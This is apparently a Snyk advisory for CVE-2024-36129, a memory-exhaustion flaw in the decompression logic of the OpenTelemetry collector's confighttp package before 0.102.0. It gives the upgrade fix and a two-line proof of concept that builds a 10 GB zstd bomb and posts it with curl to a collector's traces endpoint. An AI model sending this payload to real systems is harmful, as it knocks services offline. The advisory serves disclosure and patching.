Improper Restriction of Operations within the Bounds of a Memory Buffer Affecting go.opentelemetry.io/collector/config/confighttp package, versions <0.102.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.06% (28th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-GOLANG-GOOPENTELEMETRYIOCOLLECTORCONFIGCONFIGHTTP-7216109
- published 6 Jun 2024
- disclosed 5 Jun 2024
- credit Miroslav Stampar
Introduced: 5 Jun 2024
CVE-2024-36129 Open this link in a new tabHow to fix?
Upgrade go.opentelemetry.io/collector/config/confighttp
to version 0.102.0 or higher.
Overview
Affected versions of this package are vulnerable to Improper Restriction of Operations within the Bounds of a Memory Buffer via the decompression process. An attacker can crash the system by sending specially crafted payloads that exploit the decompression logic to consume excessive memory resources.
PoC
dd if=/dev/zero bs=1G count=10 | zstd > poc.zst
curl -vv "http://192.168.0.107:4318/v1/traces" -H "Content-Type: application/x-protobuf" -H "Content-Encoding: zstd" --data-binary @poc.zst
CVSS Scores
version 3.1